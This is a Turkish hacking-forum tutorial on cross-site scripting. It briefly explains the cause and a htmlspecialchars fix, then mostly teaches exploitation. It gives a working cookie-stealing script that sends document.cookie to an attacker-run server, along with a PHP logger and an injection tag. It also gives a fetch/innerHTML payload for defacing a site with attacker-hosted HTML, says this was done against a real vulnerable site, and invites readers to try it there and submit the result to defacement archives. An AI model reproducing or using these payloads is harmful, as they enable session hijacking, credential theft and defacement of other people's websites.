Xss Açığını Sömürme, Fiksleme Ve İndex Basma|Gerçek bir site üstünde uygulamalı|

bqtw

Üye
22 May 2023
166
41
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">






Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
elinize sağlık hocam verdiğiniz index basmak için kullanılan xss kodunu denedim açıklı bi sitede ama sonuç alamadım bunun için başka bi kod varmıdır ?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.